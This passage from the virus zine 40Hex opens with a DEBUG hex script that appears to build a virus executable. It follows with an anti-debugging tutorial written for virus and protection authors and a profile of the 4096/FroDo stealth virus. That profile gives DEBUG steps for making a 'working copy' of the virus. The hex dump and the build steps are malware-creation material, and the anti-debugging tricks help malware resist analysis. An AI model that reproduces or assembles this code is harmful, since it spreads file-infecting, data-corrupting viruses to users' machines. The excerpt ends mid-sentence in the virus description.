|
|||
|
e 0120 87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E
|
|||
|
e 0130 C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF
|
|||
|
e 0140 02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3
|
|||
|
e 0150 AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8
|
|||
|
e 0160 8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA
|
|||
|
e 0170 FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0
|
|||
|
e 0180 33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01
|
|||
|
e 0190 AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48
|
|||
|
e 01A0 AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80
|
|||
|
e 01B0 FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81
|
|||
|
e 01C0 C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77
|
|||
|
e 01D0 74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6
|
|||
|
e 01E0 60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01
|
|||
|
e 01F0 00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95
|
|||
|
e 0200 E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80
|
|||
|
e 0210 00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4
|
|||
|
e 0220 A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96
|
|||
|
e 0230 8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD
|
|||
|
e 0240 21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00
|
|||
|
e 0250 00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56
|
|||
|
e 0260 8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2
|
|||
|
e 0270 F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0
|
|||
|
e 0280 80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3
|
|||
|
e 0290 2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43
|
|||
|
e 02A0 3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE
|
|||
|
e 02B0 B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03
|
|||
|
e 02C0 1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F
|
|||
|
e 02D0 72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06
|
|||
|
e 02E0 1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0
|
|||
|
e 02F0 87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80
|
|||
|
e 0300 FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89
|
|||
|
e 0310 16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13
|
|||
|
e 0320 3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45
|
|||
|
e 0330 2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA
|
|||
|
e 0340 C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2
|
|||
|
e 0350 AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9
|
|||
|
e 0360 75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08
|
|||
|
e 0370 72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04
|
|||
|
e 0380 A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C
|
|||
|
e 0390 02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A
|
|||
|
e 03A0 74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45
|
|||
|
e 03B0 12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75
|
|||
|
e 03C0 11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B
|
|||
|
e 03D0 C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33
|
|||
|
e 03E0 C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02
|
|||
|
e 03F0 72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01
|
|||
|
e 0400 44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04
|
|||
|
e 0410 8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A
|
|||
|
e 0420 00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B
|
|||
|
e 0430 D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50
|
|||
|
e 0440 8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89
|
|||
|
e 0450 55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73
|
|||
|
e 0460 0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B
|
|||
|
e 0470 CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09
|
|||
|
e 0480 3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56
|
|||
|
e 0490 26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57
|
|||
|
e 04A0 E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8
|
|||
|
e 04B0 80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D
|
|||
|
e 04C0 47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48
|
|||
|
e 04D0 89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83
|
|||
|
e 04E0 C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83
|
|||
|
e 04F0 E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01
|
|||
|
e 0500 A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7
|
|||
|
e 0510 F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06
|
|||
|
e 0520 F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0
|
|||
|
e 0530 07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7
|
|||
|
e 0540 B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0
|
|||
|
e 0550 B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59
|
|||
|
e 0560 5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B
|
|||
|
e 0570 C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4
|
|||
|
e 0580 40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57
|
|||
|
e 0590 01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84
|
|||
|
e 05A0 AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE
|
|||
|
e 05B0 E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2
|
|||
|
e 05C0 F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00
|
|||
|
e 05D0 33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD
|
|||
|
e 05E0 21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A
|
|||
|
e 05F0 45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF
|
|||
|
e 0600 58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9
|
|||
|
e 0610 00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02
|
|||
|
e 0620 B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04
|
|||
|
e 0630 46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72
|
|||
|
e 0640 02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2
|
|||
|
e 0650 34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01
|
|||
|
e 0660 00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F
|
|||
|
e 0670 8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC
|
|||
|
e 0680 24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87
|
|||
|
e 0690 89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F
|
|||
|
e 06A0 2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84
|
|||
|
e 06B0 80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82
|
|||
|
e 06C0 80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04
|
|||
|
e 06D0 00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51
|
|||
|
e 06E0 52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2
|
|||
|
e 06F0 BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00
|
|||
|
e 0700 8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C
|
|||
|
e 0710 C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87
|
|||
|
e 0720 44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF
|
|||
|
e 0730 17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75
|
|||
|
e 0740 3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8
|
|||
|
e 0750 2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1
|
|||
|
e 0760 07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD
|
|||
|
e 0770 21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57
|
|||
|
e 0780 AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D
|
|||
|
e 0790 4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD
|
|||
|
e 07A0 21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17
|
|||
|
e 07B0 B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F
|
|||
|
e 07C0 44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D
|
|||
|
e 07D0 EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75
|
|||
|
e 07E0 52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B
|
|||
|
e 07F0 44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00
|
|||
|
e 0800 0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E
|
|||
|
e 0810 30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB
|
|||
|
e 0820 05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80
|
|||
|
e 0830 64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80
|
|||
|
e 0840 FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA
|
|||
|
e 0850 58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07
|
|||
|
e 0860 80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05
|
|||
|
e 0870 41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25
|
|||
|
e 0880 89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C
|
|||
|
e 0890 FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D
|
|||
|
e 08A0 73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00
|
|||
|
e 08B0 98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84
|
|||
|
e 08C0 E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA
|
|||
|
rcx
|
|||
|
07D0
|
|||
|
w
|
|||
|
q
|
|||
|
-------------------------------------------------------------------------------
|
|||
|
DA
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 004
|
|||
|
|
|||
|
I picked this up in a collection of clips from the Fidonet 80xxx echo,
|
|||
|
figured it might interest someone.
|
|||
|
--Hawkmoon
|
|||
|
|
|||
|
===============================================================================
|
|||
|
|
|||
|
Anti Debugging Tricks
|
|||
|
By:
|
|||
|
Inbar Raz
|
|||
|
|
|||
|
Release number 2
|
|||
|
|
|||
|
Today's anti debugging tricks devide into two categories:
|
|||
|
|
|||
|
1. Preventive actions;
|
|||
|
2. Self-modifying code.
|
|||
|
|
|||
|
Most debugging tricks, as for today, are used within viruses, in order to
|
|||
|
avoid dis-assembly of the virus, as it will be exampled later in this file.
|
|||
|
Another big part of anti debugging tricks is found with software protection
|
|||
|
programs, what use them in order to make the cracking of the protection
|
|||
|
harder.
|
|||
|
|
|||
|
1. Preventive actions:
|
|||
|
----------------------
|
|||
|
|
|||
|
Preventive actions are, basically, actions that the program takes in order
|
|||
|
to make the user unable to dis-assemble the code or trace it while running.
|
|||
|
|
|||
|
1.1. Interrupt disable:
|
|||
|
|
|||
|
Interrupt disable is probably the most common form of anti-debugging
|
|||
|
trick. It can be done in several ways:
|
|||
|
|
|||
|
1.1.1. Hardware masking of interrupt:
|
|||
|
|
|||
|
In order to avoid tracing of a code, one usually disables the
|
|||
|
interrupt via the 8259 Interrupt Controller, addressed by read/write
|
|||
|
actions to port 21h. The 8259 Interrupt Controller controls the IRQ
|
|||
|
lines. This means that any IRQ between 0 and 7 may be disabled by
|
|||
|
this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
|
|||
|
keyboard interrupt, you may disable the keyboard without the
|
|||
|
debugger being able to bypass it.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 E421 IN AL,21
|
|||
|
CS:0102 0C02 OR AL,02
|
|||
|
CS:0104 E621 OUT 21,AL
|
|||
|
|
|||
|
Just as a side notice, the keyboard may be also disabled by
|
|||
|
commanding the Programmable Perepheral Interface (PPI), port 61h.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 E461 IN AL,61
|
|||
|
CS:0102 0C80 OR AL,80
|
|||
|
CS:0104 E661 OUT 61,AL
|
|||
|
|
|||
|
1.1.2. Software masking of interrupt:
|
|||
|
|
|||
|
This is quite an easy form of anti-debugging trick. All you have
|
|||
|
to do is simply replace the vectors of interrupts debuggers use/any
|
|||
|
other interrupt you will not be using or expecting to happen. Do not
|
|||
|
forget to restore the original vectors when you are finished.
|
|||
|
It is adviseable to use manual change of vector, as shown below,
|
|||
|
rather than to change it using interrupt 21h service 25h, because
|
|||
|
any debugger that has gained control of interrupt 21h may replace
|
|||
|
your vector with the debugger's. The example shows an interception
|
|||
|
of interrupt 03h - the breakpoint interrupt.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 EB04 JMP 0106
|
|||
|
CS:0102 0000 ADD [BX+SI],AL
|
|||
|
CS:0104 0000 ADD [BX+SI],AL
|
|||
|
CS:0106 31C0 XOR AX,AX
|
|||
|
CS:0108 8EC0 MOV ES,AX
|
|||
|
CS:010A 268B1E0C00 MOV BX,ES:[000C]
|
|||
|
CS:010F 891E0201 MOV [0102],BX
|
|||
|
CS:0113 268B1E0E00 MOV BX,ES:[000E]
|
|||
|
CS:0118 891E0401 MOV [0104],BX
|
|||
|
CS:011C 26C7064C000000 MOV Word Ptr ES:[000C],0000
|
|||
|
CS:0123 26C7064E000000 MOV Word Ptr ES:[000E],0000
|
|||
|
|
|||
|
1.1.3. Vector manipulation
|
|||
|
|
|||
|
This method involves manipulations of the interrupt vectors,
|
|||
|
mainly for proper activation of the algorithm. Such action, as
|
|||
|
exampled, may be used to decrypt a code (see also 2.1), using data
|
|||
|
stored ON the vectors. Ofcourse, during normal operation of the
|
|||
|
program, vectors 01h and 03h are not used, so unless you are trying
|
|||
|
to debug such a program, it works fine.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 31C0 XOR AX,AX
|
|||
|
CS:0102 8ED0 MOV SS,AX
|
|||
|
CS:0104 BC0600 MOV SP,0006
|
|||
|
CS:0107 8B0E0211 MOV CX,[1102]
|
|||
|
CS:010B 50 PUSH AX
|
|||
|
CS:010C 21C8 AND AX,CX
|
|||
|
CS:010E 01C5 ADD BP,AX
|
|||
|
CS:0110 58 POP AX
|
|||
|
CS:0111 E2F8 LOOP 010B
|
|||
|
|
|||
|
1.1.4. Interrupt replacement
|
|||
|
|
|||
|
This is a really nasty trick, and it should be used ONLY if you
|
|||
|
are ABSOLUTELY sure that your programs needs no more debugging. What
|
|||
|
it does is simply copy the vectors of some interrupts you will be
|
|||
|
using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
|
|||
|
that do not occure during normal operation of the program. If the
|
|||
|
user wants to debug the program, he would have to search for every
|
|||
|
occurance of INT 01, and replace it with the appropriate INT
|
|||
|
instruction.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 FA CLI
|
|||
|
CS:0101 31C0 XOR AX,AX
|
|||
|
CS:0103 8EC0 MOV ES,AX
|
|||
|
CS:0105 26A18400 MOV AX,ES:[0084]
|
|||
|
CS:0109 26A30400 MOV ES:[0004],AX
|
|||
|
CS:010D 26A18600 MOV AX,ES:[0086]
|
|||
|
CS:0111 26A30600 MOV ES:[0006],AX
|
|||
|
CS:0115 B44C MOV AH,4C
|
|||
|
CS:0117 CD01 INT 01
|
|||
|
|
|||
|
1.2. Time watch:
|
|||
|
|
|||
|
This may be a less common method, but it is usefull against debuggers
|
|||
|
that disable all interrupts except for the time that the program is
|
|||
|
executed, such as Borland's Turbo Debugger. This method simply retains
|
|||
|
the value of the clock counter, updated by interrupt 08h, and waits in an
|
|||
|
infinite loop until the value changes. Another example is when you mask
|
|||
|
the timer interrupt by ORing the value INed from port 21h with 01h and
|
|||
|
then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
|
|||
|
this method is usefull only against RUN actions, not TRACE/PROCEED ones.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 2BC0 SUB AX,AX
|
|||
|
CS:0102 FB STI
|
|||
|
CS:0103 8ED8 MOV DS,AX
|
|||
|
CS:0105 8A266C04 MOV AH,[046C]
|
|||
|
CS:0109 A06C04 MOV AL,[046C]
|
|||
|
CS:010C 3AC4 CMP AL,AH
|
|||
|
CS:010E 74F9 JZ 0109
|
|||
|
|
|||
|
1.3. Fool the debugger:
|
|||
|
|
|||
|
This is a very nice technique, that works especially and only on those
|
|||
|
who use Turbo Debugger or its kind. What you do is init a jump to a
|
|||
|
middle of an instruction, whereas the real address actually contains
|
|||
|
another opcode. If you work with a normal step debugger such as Debug or
|
|||
|
SymDeb, it won't work since the debugger jumps to the exact address of
|
|||
|
the jump, and not to the beginning of an instruction at the closest
|
|||
|
address, like Turbo Debugger.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 E421 IN AL,21
|
|||
|
CS:0102 B0FF MOV AL,FF
|
|||
|
CS:0104 EB02 JMP 0108
|
|||
|
CS:0106 C606E62100 MOV Byte Ptr [21E6],00
|
|||
|
CS:010B CD20 INT 20
|
|||
|
|
|||
|
Watch this:
|
|||
|
|
|||
|
CS:0108 E621 OUT 21,AL
|
|||
|
|
|||
|
1.4. Cause debugger to stop execution:
|
|||
|
|
|||
|
This is a technique that causes a debugger to stop the execution of a
|
|||
|
certain program. What you need to do is to put some INT 3 instructions
|
|||
|
over the code, at random places, and any debugger trying to run will stop
|
|||
|
there. Since this techniqu causes the CPU to stop executing the program,
|
|||
|
and therefore clear the Prefetch Instruction Queue, it is adviseable to
|
|||
|
use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
|
|||
|
the example shows how to use these two tricks together.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 B97502 MOV CX,0275
|
|||
|
CS:0103 BE9001 MOV SI,0190
|
|||
|
CS:0106 89F7 MOV DI,SI
|
|||
|
CS:0108 AC LODSB
|
|||
|
CS:0109 C70610013473 MOV Word Ptr [0110],7334
|
|||
|
CS:010F CC INT 3
|
|||
|
CS:0110 2406 AND AL,06
|
|||
|
CS:0112 AA STOSB
|
|||
|
CS:0113 C70610012406 MOV Word Ptr [0110],0624
|
|||
|
CS:0119 E2ED LOOP 0108
|
|||
|
|
|||
|
1.5. Halt TD386 V8086 mode:
|
|||
|
|
|||
|
This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
|
|||
|
baed on the fact that TD386 does not use INT 00h to detect division by
|
|||
|
zero (or register overrun after division, which is treated by the
|
|||
|
processor in the same way as in case of division by zero). When TD386
|
|||
|
detects a division fault it aborts, reporting about the faulty
|
|||
|
division. In real mode (even under a regular debugger), a faulty DIV
|
|||
|
instruction will cause INT 00h to be called. Therefore, pointing INT 00h
|
|||
|
to the next instruction, will recover from the faulty DIV.
|
|||
|
|
|||
|
Note: It is very important to restore INT 00h's vector. Otherwise, the
|
|||
|
next call to INT 00h will cause the machine to hang.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 31C0 XOR AX,AX
|
|||
|
CS:0102 8ED8 MOV DS,AX
|
|||
|
CS:0104 C70600001201 MOV WORD PTR [0000],0112
|
|||
|
CS:010A 8C0E0200 MOV [0002],CS
|
|||
|
CS:010E B400 MOV AH,00
|
|||
|
CS:0110 F6F4 DIV AH
|
|||
|
CS:0112 B8004C MOV AX,4C00
|
|||
|
CS:0115 CD21 INT 21
|
|||
|
|
|||
|
1.6. Halt any V8086 process:
|
|||
|
|
|||
|
Another way of messing TD386 is fooling it into an exception.
|
|||
|
Unfortunately, this exception will also be generated under any other
|
|||
|
program, running at V8086 mode. The exception is exception #13, and its
|
|||
|
issued interrupt is INT 0Dh - 13d. The idea is very similar to the
|
|||
|
divide by zero trick: Causing an exception, when the exception interrupt
|
|||
|
points to somewhere in the program's code. It will always work when the
|
|||
|
machine is running in real mode, but never under the V8086 mode.
|
|||
|
|
|||
|
Note: It is very important to restore the original interrupt vectors.
|
|||
|
Otherwise, the next exception will hang the machine.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 31C0 XOR AX,AX
|
|||
|
CS:0102 8ED8 MOV DS,AX
|
|||
|
CS:0104 C70634001301 MOV WORD PTR [0034],0113
|
|||
|
CS:010A 8C0E3600 MOV [0036],CS
|
|||
|
CS:010E 833EFFFF00 CMP WORD PTR [FFFF],+00
|
|||
|
CS:0113 B8004C MOV AX,4C00
|
|||
|
CS:0116 CD21 INT 21
|
|||
|
|
|||
|
2. Self-modifying code:
|
|||
|
-----------------------
|
|||
|
|
|||
|
2.1. Encryptive/decryptive algorithm:
|
|||
|
|
|||
|
The first category is simply a code, that has been encrypted, and has
|
|||
|
been added with a decryption routine. The trick here is that when a
|
|||
|
debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
|
|||
|
in the desired address, and once that interrupt is executed, the debugger
|
|||
|
regains control of things. If you try to set a breakpoint AFTER the
|
|||
|
decryption algorithm, what is usually needed, you will end up putting an
|
|||
|
opcode CCh in a place where decryption action is taken, therefore losing
|
|||
|
your original CCh in favour of whatever the decryption algorithm makes.
|
|||
|
The following example was extracted from the Haifa virus. If you try to
|
|||
|
set a breakpoint at address CS:0110, you will never reach that address,
|
|||
|
since there is no way to know what will result from the change. Note that
|
|||
|
if you want to make the tracing even harder, you should start the
|
|||
|
decryption of the code from its END, so it takes the whole operation
|
|||
|
until the opcode following the decryption routine is decrypted.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 BB7109 MOV BX,0971
|
|||
|
CS:0103 BE1001 MOV DI,0110
|
|||
|
CS:0106 91 XCHG AX,CX
|
|||
|
CS:0107 91 XCHG AX,CX
|
|||
|
CS:0108 2E803597 XOR Byte Ptr CS:[DI],97
|
|||
|
CS:010C 47 INC DI
|
|||
|
CS:010D 4B DEC BX
|
|||
|
CS:010E 75F6 JNZ 0106
|
|||
|
CS:0110 07 POP ES
|
|||
|
CS:0111 07 POP ES
|
|||
|
|
|||
|
2.2. Self-modifying code:
|
|||
|
|
|||
|
2.2.1. Simple self-modification:
|
|||
|
|
|||
|
This method implements the same principle as the encryption
|
|||
|
method: Change the opcode before using it. In the following example,
|
|||
|
we change the insruction following the call, and therefore, if you
|
|||
|
try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
|
|||
|
will not succeed, since the debugger will put its CCh on offset 104h,
|
|||
|
but when the routine runs, it overwrites location 104h.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 E80400 CALL 0107
|
|||
|
CS:0103 CD20 INT 20
|
|||
|
CS:0105 CD21 INT 21
|
|||
|
CS:0107 C7060301B44C MOV Word Ptr [0103],4CB4
|
|||
|
CS:010D C3 RET
|
|||
|
|
|||
|
Watch this:
|
|||
|
|
|||
|
CS:0103 B44C MOV AH,4C
|
|||
|
|
|||
|
2.2.2. Prefetch Instruction Queue (PIQ) manipulation:
|
|||
|
|
|||
|
This method is a bit similar to (1.3), but it fools ANY debugger,
|
|||
|
or any other process that executes one operation at a time. The PIQ
|
|||
|
is an area within the CPU, that pre-fethces, ie. takes in advance,
|
|||
|
instructions from memory, so when they need to be executed, it
|
|||
|
would take less time to get them, since they are already in the CPU.
|
|||
|
The PIQ length ranges from 6 or 4 in old computers, up to as high as
|
|||
|
25 in new ones. What the trick does is change the FOLLOWING opcode
|
|||
|
to something meaningless. If you are debugging, then the change will
|
|||
|
take place BEFORE the instructions is executed or fetched. If you
|
|||
|
run the program NORMALLY, by the time you change the opcode, it will
|
|||
|
have already been fetched.
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
CS:0100 B97502 MOV CX,0275
|
|||
|
CS:0103 BE9001 MOV SI,0190
|
|||
|
CS:0106 89F7 MOV DI,SI
|
|||
|
CS:0108 AC LODSB
|
|||
|
CS:0109 C7060F012406 MOV Word Ptr [010F],0624
|
|||
|
CS:010F 3473 XOR AL,73
|
|||
|
CS:0111 AA STOSB
|
|||
|
CS:0112 C7060F012406 MOV Word Ptr [010F],0624
|
|||
|
CS:0118 E2EE LOOP 0108
|
|||
|
|
|||
|
Watch this:
|
|||
|
|
|||
|
CS:010F 2406 AND AL,06
|
|||
|
|
|||
|
===============================================================================
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 005
|
|||
|
|
|||
|
|
|||
|
Virus Spotlite on: 4096
|
|||
|
|
|||
|
The 4096, or FroDo, virus was one of the first known stealth viruses.
|
|||
|
Presented below are the descriptions found in Patricia Hoffman's VSUM
|
|||
|
and in the Computer Virus Catalog. Of course, the latter description
|
|||
|
is far more accurate, albeit shorter. The virus infects EXE and COM
|
|||
|
files but not overlays due to the bizarre method with which it checks
|
|||
|
for a valid file extension. It also cannot handle SYS files. It has
|
|||
|
a boot block in it; unfortunately, the code which is called to write
|
|||
|
the boot block to the disk is damaged and the system crashes when the
|
|||
|
virus attempts to access this code. However, it is worthwhile to rip
|
|||
|
out the boot block from the code and write it to a disk; the display
|
|||
|
is pretty neat.
|
|||
|
|
|||
|
To create a working copy, use debug to create a file with the follow-
|
|||
|
ing bytes:
|
|||
|
|
|||
|
E9 68 02
|
|||
|
|
|||
|
and tack on the virus to the end of that file. Or, do the following:
|
|||
|
|
|||
|
C:\>DEBUG 4096.COM
|
|||
|
-E FD
|
|||
|
XXXX:00FD 00.E9 00.68 00.02
|
|||
|
-R CX
|
|||
|
CX 0FF1
|
|||
|
:FF4
|
|||
|
-W FD
|
|||
|
Writing 0FF4 bytes
|
|||
|
-Q
|
|||
|
|
|||
|
- Dark Angel
|
|||
|
|
|||
|
|
|||
|
4096
|
|||
|
|
|||
|
Virus Name: 4096
|
|||
|
Aliases: Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
|
|||
|
Virus
|
|||
|
V Status: Common
|
|||
|
Discovery: January, 1990
|
|||
|
Symptoms: .COM, .EXE, & overlay file growth; TSR hides growth;
|
|||
|
crosslinks; corruption of data files
|
|||
|
Origin: Israel
|
|||
|
Eff Length: 4,096 Bytes
|
|||
|
Type Code: PRsA - Parasitic Resident .COM & .EXE Infector
|
|||
|
Detection Method: ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
|
|||
|
Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
|
|||
|
ViruSafe
|
|||
|
Removal Instructions: CleanUp, F-Prot, NAV or delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The 4096 virus was first isolated in January, 1990. This virus is
|
|||
|
considered a stealth virus in that it is almost invisible to the
|
|||
|
system user.
|
|||
|
|
|||
|
The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
|
|||
|
bytes to their length. Once the virus is resident in system memory,
|
|||
|
the increase in length will not appear in a directory listing. Once
|
|||
|
this virus has installed itself into memory, it will infect any
|
|||
|
executable file that is opened, including if it is opened with the
|
|||
|
COPY or XCOPY command.
|
|||
|
|
|||
|
This virus is destructive to both data files and executable files,
|
|||
|
as it very slowly cross-links files on the system's disk. The
|
|||
|
cross-linking occurs so slowly that it appears there is a hardware
|
|||
|
